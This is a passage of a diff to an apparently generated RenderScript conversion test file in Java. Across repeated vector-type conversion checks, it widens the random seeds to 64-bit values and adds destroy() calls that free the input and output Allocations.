             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             script.forEach_testConvertUlong3Float3Ulong3(inV, out);
             verifyResultsConvertFloat3Ulong3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong3Float3Ulong3: " + e.toString());
         }
@@ -19620,9 +20468,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong3Float3Ulong3(inV, out);
             verifyResultsConvertFloat3Ulong3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong3Float3Ulong3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat3Ulong3(Allocation inV, Allocation out, boolean relaxed) {
@@ -19676,11 +20526,12 @@
     }
 
     private void checkConvertFloat4Ulong4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x3afb11b3l, 0.0000000000000000000e+00, 1.8446742974197923840e+19);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xfb56476f3afb11b3l, 0.0000000000000000000e+00, 1.8446742974197923840e+19);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             script.forEach_testConvertUlong4Float4Ulong4(inV, out);
             verifyResultsConvertFloat4Ulong4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong4Float4Ulong4: " + e.toString());
         }
@@ -19688,9 +20539,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong4Float4Ulong4(inV, out);
             verifyResultsConvertFloat4Ulong4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong4Float4Ulong4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat4Ulong4(Allocation inV, Allocation out, boolean relaxed) {
@@ -19749,11 +20602,12 @@
     }
 
     private void checkConvertChar2Ulong2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 2, 0x1fedf7b7l, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 2, 0x5862818b1fedf7b7l, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             script.forEach_testConvertUlong2Char2Ulong2(inV, out);
             verifyResultsConvertChar2Ulong2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong2Char2Ulong2: " + e.toString());
         }
@@ -19761,9 +20615,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong2Char2Ulong2(inV, out);
             verifyResultsConvertChar2Ulong2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong2Char2Ulong2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar2Ulong2(Allocation inV, Allocation out, boolean relaxed) {
@@ -19817,11 +20673,12 @@
     }
 
     private void checkConvertChar3Ulong3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x16091895l, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x58644aa616091895l, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             script.forEach_testConvertUlong3Char3Ulong3(inV, out);
             verifyResultsConvertChar3Ulong3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong3Char3Ulong3: " + e.toString());
         }
@@ -19829,9 +20686,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong3Char3Ulong3(inV, out);
             verifyResultsConvertChar3Ulong3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong3Char3Ulong3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar3Ulong3(Allocation inV, Allocation out, boolean relaxed) {
@@ -19885,11 +20744,12 @@
     }
 
     private void checkConvertChar4Ulong4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 4, 0xc243973l, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 4, 0x586613c10c243973l, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             script.forEach_testConvertUlong4Char4Ulong4(inV, out);
             verifyResultsConvertChar4Ulong4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong4Char4Ulong4: " + e.toString());
         }
@@ -19897,9 +20757,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong4Char4Ulong4(inV, out);
             verifyResultsConvertChar4Ulong4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong4Char4Ulong4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar4Ulong4(Allocation inV, Allocation out, boolean relaxed) {
@@ -19958,11 +20820,12 @@
     }
 
     private void checkConvertUchar2Ulong2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0xbbc61162l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x7d30a192bbc61162l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             script.forEach_testConvertUlong2Uchar2Ulong2(inV, out);
             verifyResultsConvertUchar2Ulong2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong2Uchar2Ulong2: " + e.toString());
         }
@@ -19970,9 +20833,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong2Uchar2Ulong2(inV, out);
             verifyResultsConvertUchar2Ulong2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong2Uchar2Ulong2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar2Ulong2(Allocation inV, Allocation out, boolean relaxed) {
@@ -20026,11 +20891,12 @@
     }
 
     private void checkConvertUchar3Ulong3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0xb1e13240l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x7d326aadb1e13240l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             script.forEach_testConvertUlong3Uchar3Ulong3(inV, out);
             verifyResultsConvertUchar3Ulong3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong3Uchar3Ulong3: " + e.toString());
         }
@@ -20038,9 +20904,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong3Uchar3Ulong3(inV, out);
             verifyResultsConvertUchar3Ulong3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong3Uchar3Ulong3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar3Ulong3(Allocation inV, Allocation out, boolean relaxed) {
@@ -20094,11 +20962,12 @@
     }
 
     private void checkConvertUchar4Ulong4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0xa7fc531el, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x7d3433c8a7fc531el, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             script.forEach_testConvertUlong4Uchar4Ulong4(inV, out);
             verifyResultsConvertUchar4Ulong4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong4Uchar4Ulong4: " + e.toString());
         }
@@ -20106,9 +20975,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong4Uchar4Ulong4(inV, out);
             verifyResultsConvertUchar4Ulong4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong4Uchar4Ulong4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar4Ulong4(Allocation inV, Allocation out, boolean relaxed) {
@@ -20167,11 +21038,12 @@
     }
 
     private void checkConvertShort2Ulong2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 2, 0xffc6f6a3l, false, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x94cab7c3ffc6f6a3l, false, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             script.forEach_testConvertUlong2Short2Ulong2(inV, out);
             verifyResultsConvertShort2Ulong2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong2Short2Ulong2: " + e.toString());
         }
@@ -20179,9 +21051,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong2Short2Ulong2(inV, out);
             verifyResultsConvertShort2Ulong2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong2Short2Ulong2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort2Ulong2(Allocation inV, Allocation out, boolean relaxed) {
@@ -20235,11 +21109,12 @@
     }
 
     private void checkConvertShort3Ulong3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 3, 0xf5e21781l, false, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x94cc80def5e21781l, false, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             script.forEach_testConvertUlong3Short3Ulong3(inV, out);
             verifyResultsConvertShort3Ulong3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong3Short3Ulong3: " + e.toString());
         }
@@ -20247,9 +21122,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong3Short3Ulong3(inV, out);
             verifyResultsConvertShort3Ulong3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong3Short3Ulong3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort3Ulong3(Allocation inV, Allocation out, boolean relaxed) {
@@ -20303,11 +21180,12 @@
     }
 
     private void checkConvertShort4Ulong4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 4, 0xebfd385fl, false, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x94ce49f9ebfd385fl, false, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             script.forEach_testConvertUlong4Short4Ulong4(inV, out);
             verifyResultsConvertShort4Ulong4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong4Short4Ulong4: " + e.toString());
         }
@@ -20315,9 +21193,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong4Short4Ulong4(inV, out);
             verifyResultsConvertShort4Ulong4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong4Short4Ulong4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort4Ulong4(Allocation inV, Allocation out, boolean relaxed) {
@@ -20376,11 +21256,12 @@
     }
 
     private void checkConvertUshort2Ulong2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x2d13465cl, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0xc36a190b2d13465cl, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             script.forEach_testConvertUlong2Ushort2Ulong2(inV, out);
             verifyResultsConvertUshort2Ulong2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong2Ushort2Ulong2: " + e.toString());
         }
@@ -20388,9 +21269,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong2Ushort2Ulong2(inV, out);
             verifyResultsConvertUshort2Ulong2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong2Ushort2Ulong2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort2Ulong2(Allocation inV, Allocation out, boolean relaxed) {
@@ -20444,11 +21327,12 @@
     }
 
     private void checkConvertUshort3Ulong3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x232e673al, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0xc36be226232e673al, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             script.forEach_testConvertUlong3Ushort3Ulong3(inV, out);
             verifyResultsConvertUshort3Ulong3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong3Ushort3Ulong3: " + e.toString());
         }
@@ -20456,9 +21340,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong3Ushort3Ulong3(inV, out);
             verifyResultsConvertUshort3Ulong3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong3Ushort3Ulong3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort3Ulong3(Allocation inV, Allocation out, boolean relaxed) {
@@ -20512,11 +21398,12 @@
     }
 
     private void checkConvertUshort4Ulong4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0x19498818l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0xc36dab4119498818l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             script.forEach_testConvertUlong4Ushort4Ulong4(inV, out);
             verifyResultsConvertUshort4Ulong4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong4Ushort4Ulong4: " + e.toString());
         }
@@ -20524,9 +21411,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong4Ushort4Ulong4(inV, out);
             verifyResultsConvertUshort4Ulong4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong4Ushort4Ulong4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort4Ulong4(Allocation inV, Allocation out, boolean relaxed) {
@@ -20585,11 +21474,12 @@
     }
 
     private void checkConvertInt2Ulong2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x74a824f6l, false, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x2a53676074a824f6l, false, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             script.forEach_testConvertUlong2Int2Ulong2(inV, out);
             verifyResultsConvertInt2Ulong2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong2Int2Ulong2: " + e.toString());
         }
@@ -20597,9 +21487,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong2Int2Ulong2(inV, out);
             verifyResultsConvertInt2Ulong2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong2Int2Ulong2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt2Ulong2(Allocation inV, Allocation out, boolean relaxed) {
@@ -20653,11 +21545,12 @@
     }
 
     private void checkConvertInt3Ulong3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x6ac345d4l, false, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x2a55307b6ac345d4l, false, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             script.forEach_testConvertUlong3Int3Ulong3(inV, out);
             verifyResultsConvertInt3Ulong3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong3Int3Ulong3: " + e.toString());
         }
@@ -20665,9 +21558,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong3Int3Ulong3(inV, out);
             verifyResultsConvertInt3Ulong3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong3Int3Ulong3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt3Ulong3(Allocation inV, Allocation out, boolean relaxed) {
@@ -20721,11 +21616,12 @@
     }
 
     private void checkConvertInt4Ulong4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x60de66b2l, false, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x2a56f99660de66b2l, false, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             script.forEach_testConvertUlong4Int4Ulong4(inV, out);
             verifyResultsConvertInt4Ulong4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong4Int4Ulong4: " + e.toString());
         }
@@ -20733,9 +21629,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong4Int4Ulong4(inV, out);
             verifyResultsConvertInt4Ulong4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong4Int4Ulong4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt4Ulong4(Allocation inV, Allocation out, boolean relaxed) {
@@ -20794,11 +21692,12 @@
     }
 
     private void checkConvertUint2Ulong2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0x72a3177l, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0xd1e120ae072a3177l, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             script.forEach_testConvertUlong2Uint2Ulong2(inV, out);
             verifyResultsConvertUint2Ulong2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong2Uint2Ulong2: " + e.toString());
         }
@@ -20806,9 +21705,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong2Uint2Ulong2(inV, out);
             verifyResultsConvertUint2Ulong2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong2Uint2Ulong2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint2Ulong2(Allocation inV, Allocation out, boolean relaxed) {
@@ -20862,11 +21763,12 @@
     }
 
     private void checkConvertUint3Ulong3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0xfd455255l, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0xd1e2e9c8fd455255l, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             script.forEach_testConvertUlong3Uint3Ulong3(inV, out);
             verifyResultsConvertUint3Ulong3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong3Uint3Ulong3: " + e.toString());
         }
@@ -20874,9 +21776,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong3Uint3Ulong3(inV, out);
             verifyResultsConvertUint3Ulong3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong3Uint3Ulong3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint3Ulong3(Allocation inV, Allocation out, boolean relaxed) {
@@ -20930,11 +21834,12 @@
     }
 
     private void checkConvertUint4Ulong4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0xf3607333l, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0xd1e4b2e3f3607333l, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             script.forEach_testConvertUlong4Uint4Ulong4(inV, out);
             verifyResultsConvertUint4Ulong4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong4Uint4Ulong4: " + e.toString());
         }
@@ -20942,9 +21847,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong4Uint4Ulong4(inV, out);
             verifyResultsConvertUint4Ulong4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong4Uint4Ulong4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint4Ulong4(Allocation inV, Allocation out, boolean relaxed) {
@@ -21004,11 +21911,12 @@
     }
 
     private void checkConvertHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x77294e2el, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x5613b69077294e2el, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testConvertHalf2Half2Half2(inV, out);
             verifyResultsConvertHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf2Half2Half2: " + e.toString());
         }
@@ -21016,9 +21924,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf2Half2Half2(inV, out);
             verifyResultsConvertHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf2Half2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -21077,11 +21987,12 @@
     }
 
     private void checkConvertHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xd6311322l, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x5613c131d6311322l, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testConvertHalf3Half3Half3(inV, out);
             verifyResultsConvertHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf3Half3Half3: " + e.toString());
         }
@@ -21089,9 +22000,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf3Half3Half3(inV, out);
             verifyResultsConvertHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf3Half3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -21150,11 +22063,12 @@
     }
 
     private void checkConvertHalf4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x3538d816l, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x5613cbd33538d816l, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testConvertHalf4Half4Half4(inV, out);
             verifyResultsConvertHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf4Half4Half4: " + e.toString());
         }
@@ -21162,9 +22076,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf4Half4Half4(inV, out);
             verifyResultsConvertHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf4Half4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
@@ -21229,11 +22145,12 @@
     }
 
     private void checkConvertHalf2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xbbc7b5dbl, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
